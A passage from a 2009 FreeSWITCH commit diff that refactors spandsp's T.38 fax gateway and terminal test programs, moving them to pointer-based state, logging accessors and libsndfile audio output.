     t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
@@ -445,10 +451,15 @@
     if (use_ecm)
         t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
     t30_set_minimum_scan_line_time(t30, 40);
-    span_log_set_level(&fax_state_b.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&fax_state_b.logging, "FAX-B ");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "FAX-B ");
+
+    logging = fax_get_logging_state(fax);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-B ");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-B ");
+
     memset(t30_amp_b, 0, sizeof(t30_amp_b));
 
 #if defined(ENABLE_GUI)
@@ -458,19 +469,29 @@
     hist_ptr = 0;
     for (;;)
     {
-        t30 = fax_get_t30_state(&fax_state_a);
-        span_log_bump_samples(&fax_state_a.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t30->logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.t38x.t38.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.t38x.t38.logging, SAMPLES_PER_CHUNK);
-        t30 = fax_get_t30_state(&fax_state_b);
-        span_log_bump_samples(&fax_state_b.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t30->logging, SAMPLES_PER_CHUNK);
+        logging = fax_get_logging_state(fax_state_a);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = fax_get_t30_state(fax_state_a);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = t38_gateway_get_logging_state(t38_state_a);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_gateway_get_t38_core_state(t38_state_a);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = t38_gateway_get_logging_state(t38_state_b);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_gateway_get_t38_core_state(t38_state_b);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = fax_get_logging_state(fax_state_b);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = fax_get_t30_state(fax_state_b);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
         memset(out_amp, 0, sizeof(out_amp));
 
-        t30_len_a = fax_tx(&fax_state_a, t30_amp_a, SAMPLES_PER_CHUNK);
+        t30_len_a = fax_tx(fax_state_a, t30_amp_a, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             /* The receive side always expects a full block of samples, but the
@@ -493,10 +514,10 @@
                 t30_amp_a[i] += t38_amp_hist_a[hist_ptr][i] >> 1;
             memcpy(t38_amp_hist_a[hist_ptr], t38_amp_a, sizeof(int16_t)*SAMPLES_PER_CHUNK);
         }
-        if (t38_gateway_rx(&t38_state_a, t30_amp_a, t30_len_a))
+        if (t38_gateway_rx(t38_state_a, t30_amp_a, t30_len_a))
             break;
 
-        t38_len_a = t38_gateway_tx(&t38_state_a, t38_amp_a, SAMPLES_PER_CHUNK);
+        t38_len_a = t38_gateway_tx(t38_state_a, t38_amp_a, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             if (t38_len_a < SAMPLES_PER_CHUNK)
@@ -510,10 +531,10 @@
             for (i = 0;  i < t38_len_a;  i++)
                 out_amp[i*4 + 1] = t38_amp_a[i];
         }
-        if (fax_rx(&fax_state_a, t38_amp_a, SAMPLES_PER_CHUNK))
+        if (fax_rx(fax_state_a, t38_amp_a, SAMPLES_PER_CHUNK))
             break;
 
-        t30_len_b = fax_tx(&fax_state_b, t30_amp_b, SAMPLES_PER_CHUNK);
+        t30_len_b = fax_tx(fax_state_b, t30_amp_b, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             /* The receive side always expects a full block of samples, but the
@@ -536,10 +557,10 @@
                 t30_amp_b[i] += t38_amp_hist_b[hist_ptr][i] >> 1;
             memcpy(t38_amp_hist_b[hist_ptr], t38_amp_b, sizeof(int16_t)*SAMPLES_PER_CHUNK);
         }
-        if (t38_gateway_rx(&t38_state_b, t30_amp_b, t30_len_b))
+        if (t38_gateway_rx(t38_state_b, t30_amp_b, t30_len_b))
             break;
 
-        t38_len_b = t38_gateway_tx(&t38_state_b, t38_amp_b, SAMPLES_PER_CHUNK);
+        t38_len_b = t38_gateway_tx(t38_state_b, t38_amp_b, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             if (t38_len_b < SAMPLES_PER_CHUNK)
@@ -553,10 +574,10 @@
             for (i = 0;  i < t38_len_b;  i++)
                 out_amp[i*4 + 2] = t38_amp_b[i];
         }
-        if (fax_rx(&fax_state_b, t38_amp_b, SAMPLES_PER_CHUNK))
+        if (fax_rx(fax_state_b, t38_amp_b, SAMPLES_PER_CHUNK))
             break;
 
-        when += 0.02;
+        when += (float) SAMPLES_PER_CHUNK/(float) SAMPLE_RATE;
 
         while ((msg_len = g1050_get(path_a_to_b, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -564,7 +585,8 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_b.t38x.t38, msg, msg_len, seq_no);
+            t38_core = t38_gateway_get_t38_core_state(t38_state_b);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         while ((msg_len = g1050_get(path_b_to_a, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -572,11 +594,12 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_a.t38x.t38, msg, msg_len, seq_no);
+            t38_core = t38_gateway_get_t38_core_state(t38_state_a);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         if (log_audio)
         {
-            outframes = afWriteFrames(wave_handle, AF_DEFAULT_TRACK, out_amp, SAMPLES_PER_CHUNK);
+            outframes = sf_writef_short(wave_handle, out_amp, SAMPLES_PER_CHUNK);
             if (outframes != SAMPLES_PER_CHUNK)
                 break;
         }
@@ -590,23 +613,23 @@
         if (++hist_ptr > 3)
             hist_ptr = 0;
     }
-    t38_gateway_get_transfer_statistics(&t38_state_a, &stats);
+    t38_gateway_get_transfer_statistics(t38_state_a, &stats);
     printf("A side exchanged %d pages at %dbps, in %s mode\n",
            stats.pages_transferred,
            stats.bit_rate,
            (stats.error_correcting_mode)  ?  "ECM"  :  "non-ECM");
-    t38_gateway_get_transfer_statistics(&t38_state_a, &stats);
+    t38_gateway_get_transfer_statistics(t38_state_a, &stats);
     printf("B side exchanged %d pages at %dbps, in %s mode\n",
            stats.pages_transferred,
            stats.bit_rate,
            (stats.error_correcting_mode)  ?  "ECM"  :  "non-ECM");
-    fax_release(&fax_state_a);
-    fax_release(&fax_state_b);
+    fax_release(fax_state_a);
+    fax_release(fax_state_b);
     if (log_audio)
     {
-        if (afCloseFile(wave_handle) != 0)
+        if (sf_close(wave_handle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/t38_gateway_to_terminal_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/t38_gateway_to_terminal_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t38_gateway_to_terminal_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_gateway_to_terminal_tests.c,v 1.60 2008/08/16 15:24:16 steveu Exp $
+ * $Id: t38_gateway_to_terminal_tests.c,v 1.66 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -34,6 +34,9 @@
     FAX machine -> T.38 gateway -> T.38 termination
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include <config.h>
 #endif
@@ -45,27 +48,25 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <unistd.h>
 #include <string.h>
 #include <assert.h>
 #include <errno.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#if !defined(__USE_MISC)
-#define __USE_MISC
+#include <sndfile.h>
+#if !defined(_WIN32)
+#include <unistd.h>
 #endif
-#include <arpa/inet.h>
-#include <sys/select.h>
-#include <sys/time.h>
-#include <audiofile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
 #if defined(ENABLE_GUI)
 #include "media_monitor.h"
 #endif
+#include "fax_utils.h"
 
 #define SAMPLES_PER_CHUNK       160
 
@@ -73,9 +74,9 @@
 #define OUTPUT_FILE_NAME        "t38.tif"
 #define OUTPUT_FILE_NAME_WAVE   "t38_gateway_to_terminal.wav"
 
-fax_state_t fax_state_a;
-t38_gateway_state_t t38_state_a;
-t38_terminal_state_t t38_state_b;
+fax_state_t *fax_state_a;
+t38_gateway_state_t *t38_state_a;
+t38_terminal_state_t *t38_state_b;
 
 g1050_state_t *path_a_to_b;
 g1050_state_t *path_b_to_a;
@@ -90,9 +91,12 @@
 static int phase_b_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    
+    char tag[20];
+
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase B:", i);
     printf("%c: Phase B handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -100,26 +104,14 @@
 static int phase_d_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
 
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase D:", i);
     printf("%c: Phase D handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
-    t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase D: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase D: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase D: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase D: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase D: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase D: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase D: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase D: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase D: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase D: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase D: remote ident '%s'\n", i, u);
-    printf("%c: Phase D: bits per row - min %d, max %d\n", i, s->t4.min_row_bits, s->t4.max_row_bits);
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -128,25 +120,16 @@
 {
     int i;
     t30_stats_t t;
-    const char *u;
+    char tag[20];
     
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase E:", i);
     printf("%c: Phase E handler on channel %c - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase E: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase E: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase E: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase E: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase E: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase E: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase E: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase E: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase E: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase E: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase E: remote ident '%s'\n", i, u);
-    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_transferred == 12);
+    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_tx == 12  ||  t.pages_rx == 12);
     done[i - 'A'] = TRUE;
 }
 /*- End of function --------------------------------------------------------*/
@@ -225,7 +208,7 @@
     int use_tep;
     int feedback_audio;
     int use_transmit_on_idle;
-    AFfilehandle wave_handle;
+    SNDFILE *wave_handle;
     const char *input_file_name;
     int i;
     int seq_no;
@@ -237,6 +220,8 @@
     int use_gui;
     int opt;
     t30_state_t *t30;
+    t38_core_state_t *t38_core;
+    logging_state_t *logging;
 
     log_audio = FALSE;
     t38_version = 1;
@@ -303,12 +288,12 @@
     if (use_ecm)
         printf("Using ECM\n");
 
-    wave_handle = AF_NULL_FILEHANDLE;
+    wave_handle = NULL;
     if (log_audio)
     {
-        if ((wave_handle = afOpenFile_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == AF_NULL_FILEHANDLE)
+        if ((wave_handle = sf_open_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }
@@ -325,14 +310,14 @@
         exit(2);
     }
 
-    if (fax_init(&fax_state_a, TRUE) == NULL)
+    if ((fax_state_a = fax_init(NULL, TRUE)) == NULL)
     {
         fprintf(stderr, "Cannot start FAX\n");
         exit(2);
     }
-    t30 = fax_get_t30_state(&fax_state_a);
-    fax_set_transmit_on_idle(&fax_state_a, use_transmit_on_idle);
-    fax_set_tep_mode(&fax_state_a, use_tep);
+    t30 = fax_get_t30_state(fax_state_a);
+    fax_set_transmit_on_idle(fax_state_a, use_transmit_on_idle);
+    fax_set_tep_mode(fax_state_a, use_tep);
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "11111111");
     t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
@@ -343,40 +328,58 @@
     t30_set_ecm_capability(t30, use_ecm);
     if (use_ecm)
         t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
-    span_log_set_level(&fax_state_a.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&fax_state_a.logging, "FAX-A ");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "FAX-A ");
+
+    logging = fax_get_logging_state(fax_state_a);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-A ");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-A ");
+
     memset(t30_amp_a, 0, sizeof(t30_amp_a));
 
-    if (t38_gateway_init(&t38_state_a, tx_packet_handler_a, &t38_state_b) == NULL)
+    if ((t38_state_a = t38_gateway_init(NULL, tx_packet_handler_a, t38_state_b)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t38_gateway_set_transmit_on_idle(&t38_state_a, use_transmit_on_idle);
-    t38_set_t38_version(&t38_state_a.t38x.t38, t38_version);
-    t38_gateway_set_ecm_capability(&t38_state_a, use_ecm);
-    span_log_set_level(&t38_state_a.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.logging, "T.38-A");
-    span_log_set_level(&t38_state_a.t38x.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.t38x.t38.logging, "T.38-A");
+    t38_core = t38_gateway_get_t38_core_state(t38_state_a);
+    t38_gateway_set_transmit_on_idle(t38_state_a, use_transmit_on_idle);
+    t38_set_t38_version(t38_core, t38_version);
+    t38_gateway_set_ecm_capability(t38_state_a, use_ecm);
+
+    logging = t38_gateway_get_logging_state(t38_state_a);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
     memset(t38_amp_a, 0, sizeof(t38_amp_a));
 
-    if (t38_terminal_init(&t38_state_b, FALSE, tx_packet_handler_b, &t38_state_a) == NULL)
+    if ((t38_state_b = t38_terminal_init(NULL, FALSE, tx_packet_handler_b, t38_state_a)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t30 = t38_terminal_get_t30_state(&t38_state_b);
-    t38_set_t38_version(&t38_state_b.t38_fe.t38, t38_version);
-    span_log_set_level(&t38_state_b.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.logging, "T.38-B");
-    span_log_set_level(&t38_state_b.t38_fe.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.t38_fe.t38.logging, "T.38-B");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "T.38-B");
+    t30 = t38_terminal_get_t30_state(t38_state_b);
+    t38_core = t38_terminal_get_t38_core_state(t38_state_b);
+    t38_set_t38_version(t38_core, t38_version);
 
+    logging = t38_terminal_get_logging_state(t38_state_b);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "22222222");
     t30_set_rx_file(t30, OUTPUT_FILE_NAME, -1);
@@ -393,18 +396,29 @@
 #endif
     for (;;)
     {
-        span_log_bump_samples(&fax_state_a.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&fax_state_a.t30.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.t38x.t38.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.t38_fe.t38.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.t30.logging, SAMPLES_PER_CHUNK);
+        logging = fax_get_logging_state(fax_state_a);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = fax_get_t30_state(fax_state_a);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = t38_gateway_get_logging_state(t38_state_a);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_gateway_get_t38_core_state(t38_state_a);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = t38_terminal_get_logging_state(t38_state_b);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_terminal_get_t38_core_state(t38_state_b);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = t38_terminal_get_t30_state(t38_state_b);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
         memset(out_amp, 0, sizeof(out_amp));
 
-        t38_terminal_send_timeout(&t38_state_b, SAMPLES_PER_CHUNK);
+        t38_terminal_send_timeout(t38_state_b, SAMPLES_PER_CHUNK);
 
-        t30_len_a = fax_tx(&fax_state_a, t30_amp_a, SAMPLES_PER_CHUNK);
+        t30_len_a = fax_tx(fax_state_a, t30_amp_a, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             /* The receive side always expects a full block of samples, but the
@@ -426,10 +440,10 @@
             for (i = 0;  i < t30_len_a;  i++)
                 t30_amp_a[i] += t38_amp_a[i] >> 1;
         }
-        if (t38_gateway_rx(&t38_state_a, t30_amp_a, t30_len_a))
+        if (t38_gateway_rx(t38_state_a, t30_amp_a, t30_len_a))
             break;
     
-        t38_len_a = t38_gateway_tx(&t38_state_a, t38_amp_a, SAMPLES_PER_CHUNK);
+        t38_len_a = t38_gateway_tx(t38_state_a, t38_amp_a, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             if (t38_len_a < SAMPLES_PER_CHUNK)
@@ -443,10 +457,10 @@
             for (i = 0;  i < t38_len_a;  i++)
                 out_amp[2*i + 1] = t38_amp_a[i];
         }
-        if (fax_rx(&fax_state_a, t38_amp_a, SAMPLES_PER_CHUNK))
+        if (fax_rx(fax_state_a, t38_amp_a, SAMPLES_PER_CHUNK))
             break;
 
-        when += 0.02;
+        when += (float) SAMPLES_PER_CHUNK/(float) SAMPLE_RATE;
 
         while ((msg_len = g1050_get(path_a_to_b, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -454,7 +468,8 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_b.t38_fe.t38, msg, msg_len, seq_no);
+            t38_core = t38_terminal_get_t38_core_state(t38_state_b);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         while ((msg_len = g1050_get(path_b_to_a, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -462,11 +477,12 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_a.t38x.t38, msg, msg_len, seq_no);
+            t38_core = t38_gateway_get_t38_core_state(t38_state_a);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         if (log_audio)
         {
-            outframes = afWriteFrames(wave_handle, AF_DEFAULT_TRACK, out_amp, SAMPLES_PER_CHUNK);
+            outframes = sf_writef_short(wave_handle, out_amp, SAMPLES_PER_CHUNK);
             if (outframes != SAMPLES_PER_CHUNK)
                 break;
         }
@@ -478,13 +494,13 @@
             media_monitor_update_display();
 #endif
     }
-    fax_release(&fax_state_a);
-    t38_terminal_release(&t38_state_b);
+    fax_release(fax_state_a);
+    t38_terminal_release(t38_state_b);
     if (log_audio)
     {
-        if (afCloseFile(wave_handle) != 0)
+        if (sf_close(wave_handle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/t38_non_ecm_buffer_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/t38_non_ecm_buffer_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t38_non_ecm_buffer_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_non_ecm_buffer_tests.c,v 1.2 2008/09/02 13:56:10 steveu Exp $
+ * $Id: t38_non_ecm_buffer_tests.c,v 1.5 2009/04/25 14:17:47 steveu Exp $
  */
 
 /*! \file */
@@ -40,21 +40,14 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <unistd.h>
 #include <string.h>
 #include <assert.h>
 #include <errno.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#if !defined(__USE_MISC)
-#define __USE_MISC
-#endif
-#include <arpa/inet.h>
-#include <sys/select.h>
-#include <sys/time.h>
-#include <audiofile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 int main(int argc, char *argv[])

Modified: freeswitch/branches/seven/libs/spandsp/tests/t38_terminal_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/t38_terminal_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t38_terminal_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_terminal_tests.c,v 1.61 2008/08/16 14:59:50 steveu Exp $
+ * $Id: t38_terminal_tests.c,v 1.67 2009/04/25 14:34:45 steveu Exp $
  */
 
 /*! \file */
@@ -34,6 +34,8 @@
     T.38 termination <-> T.38 termination
 */
 
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include <config.h>
 #endif
@@ -45,35 +47,32 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <unistd.h>
 #include <string.h>
 #include <assert.h>
 #include <errno.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#if !defined(__USE_MISC)
-#define __USE_MISC
+#if !defined(_WIN32)
+#include <unistd.h>
 #endif
-#include <arpa/inet.h>
-#include <sys/select.h>
-#include <sys/time.h>
-#include <audiofile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
 #if defined(ENABLE_GUI)
 #include "media_monitor.h"
 #endif
+#include "fax_utils.h"
 
 #define SAMPLES_PER_CHUNK 160
 
 #define INPUT_FILE_NAME         "../test-data/itu/fax/itutests.tif"
 #define OUTPUT_FILE_NAME        "t38.tif"
 
-t38_terminal_state_t t38_state_a;
-t38_terminal_state_t t38_state_b;
+t38_terminal_state_t *t38_state_a;
+t38_terminal_state_t *t38_state_b;
 
 g1050_state_t *path_a_to_b;
 g1050_state_t *path_b_to_a;
@@ -88,9 +87,12 @@
 static int phase_b_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    
+    char tag[20];
+
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase B:", i);
     printf("%c: Phase B handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
